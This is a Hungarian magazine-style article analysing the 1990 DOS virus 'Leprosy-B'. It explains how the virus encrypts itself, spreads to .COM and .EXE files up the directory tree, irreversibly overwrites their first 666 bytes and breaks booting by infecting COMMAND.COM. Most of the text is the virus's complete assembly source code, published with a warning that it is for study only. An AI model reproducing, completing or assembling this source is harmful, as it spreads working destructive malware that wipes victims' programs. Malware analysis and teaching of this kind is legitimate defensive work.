Leprosy B, a sátán


Ebben a hónapban egy szerintem nagyon érdekes vírust fogok elemezni.
A vírus egy elég bonyolult titkosítási technikát használ. Emiatt hagyományos eljárásokkal nem vehetô észre. Amikor a kód lefut négy másik .COM vagy .EXE programot fertôz meg az aktuális meghajtó aktuális könyvtárában. Ha nem talál megfertôzhetô állományokat vagy nem eleget, akkor eggyel feljebb lép a könyvtárfán és ott keres áldozatot. A fertôzés abból áll, hogy az elsô 666 bájtot felülírja. Amikor felülír egy állományt, akkor egy üzenetet jelenít meg a monitoron. (Az üzenet benne van a forráskódban, ezért ha valakit érdekel, tanulmányozza a forráskódot.) A vírus a COMMAND.COM állományt is megfertôzi. Ha a COMMAND.COM állomány fertôzött, akkor a rendszer újraindítása után a következô üzenet jelenik meg: Bad or missing Command Interpreter. A rendszerbetöltés természetesen nem folytatódik. Még akkor sem, ha egy bootlemezt teszünk a gépbe. Ilyenkor csak a RESET gomb segít. Az üzeneteket a vírus kódolva tárolja. Amikor egy fertôzött programot indítunk, akkor azt a hibaüzenetet kapjuk, hogy a program túl nagy a memóriába nem fér bele. Ha ezt az üzenetet látjuk, akkor már kezdhetünk aggódni, mert az üzenet kiírásakor már a program fertôz!! DE! Ha ez az üzenet jelenik meg a monitoron, akkor még nem biztos, hogy ezzel a vírussal van dolgunk, csak alapos gyanú merül fel !!! Más vírusok is használják ezt a technikát !
Rezidens része nincs. A fertôzött állományokból a vírust nem lehet eltávolítani, mivel felülírta az elsô 666 bájtot és az itt felül írt adatokat sehol nem tárolta.
Egyetlen eltávolítási mód a fertôzött állomány törlése.
Az eredeti hordozó program egy segédprogramnak álcázva ami BBS-eken volt fellelhetô.
FIGYELEM!!! A mostani vírus egy különösen veszélyes fajta, a kód elemzése közben majdnem kicsúszott az ellenôrzésünk alól is. A víruskódot mindenki a saját felelôségére fordíttatja le! A szerkesztôség semmiféle felelôsséget nem vállal érte! A kódot csak tanulmányozás céljára tesszük közzé !
title "Leprosy-B Virus by PCM2, August 1990"

cr equ 13
lf equ 10
tab equ 9
virus_size equ 666
code_start equ 100h
dta equ 80h
datestamp equ 24
timestamp equ 22
filename equ 30
attribute equ 21


code segment 'code'
assume cs:code,ds:code
org code_start


main proc near
call encrypt_decrypt
jmp random_mutation

encrypt_val db 00h

infect_file:
mov bx,handle
push bx
call encrypt_decrypt
pop bx
mov cx,virus_size
mov dx,code_start
mov ah,40h
int 21h
call encrypt_decrypt
ret

encrypt_decrypt:
mov bx,offset virus_code
xor_loop:
mov ah,[bx]
xor ah,encrypt_val
mov [bx],ah
inc bx
cmp bx,offset virus_code+virus_size
jle xor_loop
ret

virus_code:

exe_filespec db "*.EXE",0
com_filespec db "*.COM",0
newdir db "..",0
fake_msg db cr,lf,"Program too big to fit in memory$"
virus_msg1 db cr,lf,tab,"ATTENTION! Your computer has been afflicted with$"
virus_msg2 db cr,lf,tab,"the incurable decay that is the fate wrought by$"
virus_msg3 db cr,lf,tab,"Leprosy Strain B, a virus employing Cybernetic$"
virus_msg4 db cr,lf,tab,"Mutation Technology(tm) and invented by PCM2 08/90.$"
compare_buf db 20 dup (?)
files_found db ?
files_infected db ?
orig_time dw ?
orig_date dw ?
orig_attr dw ?
handle dw ?
success db ?

random_mutation:
mov ah,2ch
int 21h
cmp encrypt_val,0
je install_val
cmp dh,15
jg find_extension
install_val:
cmp dl,0
je random_mutation
mov encrypt_val,dl
find_extension:
mov files_found,0
mov files_infected,4
mov success,0
find_exe:
mov cx,00100111b
mov dx,offset exe_filespec
mov ah,4eh
int 21h
cmp ax,12h
je find_com
call find_healthy
find_com:
mov cx,00100111b
mov dx,offset com_filespec
mov ah,4eh
int 21h
cmp ax,12h
je chdir
call find_healthy
chdir:
mov dx,offset newdir
mov ah,3bh
int 21h
dec files_infected
jnz find_exe
jmp exit_virus
find_healthy:
mov bx,dta
mov ax,[bx]+attribute
mov orig_attr,ax
mov ax,[bx]+timestamp
mov orig_time,ax
mov ax,[bx]+datestamp
mov orig_date,ax
mov dx,dta+filename
mov cx,0
mov al,1
mov ah,43h
int 21h
mov al,2
mov ah,3dh
int 21h
mov handle,ax
mov bx,ax
mov cx,20
mov dx,offset compare_buf
mov ah,3fh
int 21h
mov bx,offset compare_buf
mov ah,encrypt_val
mov [bx+6],ah
mov si,code_start
mov di,offset compare_buf
mov ax,ds
mov es,ax
cld
repe cmpsb
jne healthy
call close_file
inc files_found
continue_search:
mov ah,4fh
int 21h
cmp ax,12h
je no_more_found
jmp find_healthy
no_more_found:
ret
healthy:
mov bx,handle
mov ah,3eh
int 21h
mov ah,3dh
mov dx,dta+filename
mov al,2
int 21h
mov handle,ax
call infect_file
call close_file
inc success
dec files_infected
jz exit_virus
jmp continue_search
ret
close_file:
mov bx,handle
mov cx,orig_time
mov dx,orig_date
mov al,1
mov ah,57h
int 21h
mov bx,handle
mov ah,3eh
int 21h
mov cx,orig_attr
mov al,1
mov dx,dta+filename
mov ah,43h
int 21h
ret
exit_virus:
cmp files_found,6
jl print_fake
cmp success,0
jg print_fake
mov ah,09h
mov dx,offset virus_msg1
int 21h
mov dx,offset virus_msg2
int 21h
mov dx,offset virus_msg3
int 21h
mov dx,offset virus_msg4
int 21h
jmp terminate
print_fake:
mov ah,09h
mov dx,offset fake_msg
int 21h
terminate:
mov ah,4ch
int 21h

filler db 8 dup (90h)

main endp
code ends
end main